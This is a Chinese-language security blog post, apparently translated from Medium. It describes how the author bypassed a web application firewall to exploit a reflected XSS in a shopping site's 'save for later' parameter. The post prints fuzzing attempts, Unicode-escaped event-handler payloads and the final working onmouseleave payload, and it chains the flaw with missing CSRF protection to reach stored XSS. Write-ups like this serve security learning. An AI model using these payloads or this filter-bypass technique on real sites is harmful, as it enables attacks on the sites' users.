用UNICODE进行 XSS WAF绕过

admin 2023年8月6日20:55:50评论13 views字数 2142阅读7分8秒阅读模式

用UNICODE进行 XSS WAF绕过

嗨,读者们

通过标题,您可能会知道这是有关使用UNICODE进行 XSS WAF绕过的文章。因此,让我们对我正在测试的应用程序有个小想法。有一个名为“稍后保存” 的选项,该选项可将您的帐户中的项目保存起来以备后用。该请求看起来像:

 

用UNICODE进行 XSS WAF绕过


如果对用户进行了正确的身份验证,则此发布请求会将项目保存在用户帐户中,以供以后使用;如果对用户进行了不正确的身份验证,则该请求仅会返回一些值。因此,我在参数上手动进行模糊处理,并且注意到传递的参数值在响应主体中得到反映,而在经过身份验证和未经身份验证的场景中都没有适当的转义。我发送的请求的参数值 :“ xss ”> <”,

响应为:

<a class="link nc-text-regular nc-blue js-movetocart"

          ><"

          role="link" tabindex="0" aria-label="label">Move to cart</a>

我们输入的值在<a>标记内,由于引号和小于/大于-符号未正确过滤,因此我们可以跳出来。因此,我认为我有很多方法可以在这里进行XSS,直到我输入:“ xss ” onclick = “ alert(1)”并且响应为:

 

用UNICODE进行 XSS WAF绕过

因此,存在WAF。为了绕开它,我开始模糊测试,结果是:

“ channel”:“ xss ” onclick = “ alert(1)” ==> WAF

“ channel”:“ xss ” xss = “ alert(1)” ==> WAF

“ channel”:“ xss ” onclick = “ alert(1)” ==> WAF

“ channel”:“ xss ” xss = “ xxx(1)” ==>没有WAF

因此,我尝试创建一个标签,而不是在<a>标签中添加事件属性,然后输入:“ xss ”> <xss> test”,响应为:

<a class="link nc-text-regular nc-blue js-movetocart" data-skuid ="<ID>" data-itemnumber ="<ID>"

          data-productid ="<ID>" data-channel =" xss">test" data-quantity =" 1"

          data-isbundleitem ="false" role ="link" tabindex ="0" aria-label="label">移至购物车</a>

因此,它也删除了看起来像tag的上下文。因此,我们没有创建标签的优势。因此,我们唯一的方法是绕过WAF 在<a>标记中使用事件属性。因此,我尝试通过fuzzdb使用html-event-attributes.txt 进行暴力破解,以查看是否没有任何事件被WAF阻止并且没有得到任何有趣的结果。然后我对unicode进行了编码,并输入了一个随机unicode来查看它是否在响应中进行解码,然后将其解码为原始字符的bingo。所以现在我再次开始使用unicode + events,结果是:

 “ xss ” u003E u003Cxss u003Etest“ ==> data-channel =” xss“> <xss> test”

 “ xss ” xss = “ co u006efirm(domain)” ==>没有WAF

“ xss ” onc u006Cick = “ co u006efirm(domain)” ==> HTTP / 1.1 403禁止

因此,我们在这里有了新的利用方式,也有了新的问题。

优点是我们现在可以使用unicode创建HTML标签。

甚至在使用unicode后,我们添加onc u006Cick事件也会收到一个新的错误HTTP / 1.1 403 Forbidden。

因此,我再次从html-event-attributes.txt + Unicode制作了一个单词表,并得到了onmous u0045leave和ond u0072ag事件,返回了HTTP / 1.1 200 OK,我们还可以创建HTML标签。所以我做了最后的有效载荷:-

xss “ u003E u003Ch1 onmous u0045leave = co u006efirm(domain) u003ECme u003C / h1 u003E u003Cbr u003E u003C!-

响应主体是:

<a class="link nc-text-regular nc-blue js-movetocart"           

           > <h1 onmouseleave=confirm(domain)>come to me</h1> <br> <!--" data-quantity ="1"

          data-isbundleitem ="false" role ="link" tabindex ="0" aria-label ="label">移至购物车</a>                     

将鼠标指针放在come to me,然后移开

用UNICODE进行 XSS WAF绕过


现在,因为这是一个POST请求,并且没有CSRF保护,所以我将CSRF + XSS = P2已存储的XSS链接到已认证的用户。

 

用UNICODE进行 XSS WAF绕过


谢谢阅读。

翻译自medium.com

> 免责申明:本文由互联网整理翻译而来,仅供个人学习参考,如有侵权,请联系我们,告知删除。


用UNICODE进行 XSS WAF绕过

用UNICODE进行 XSS WAF绕过

原文始发于微信公众号(东塔网络安全学院):用UNICODE进行 XSS WAF绕过

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月6日20:55:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   用UNICODE进行 XSS WAF绕过http://cn-sec.com/archives/1086915.html

发表评论

匿名网友 填写信息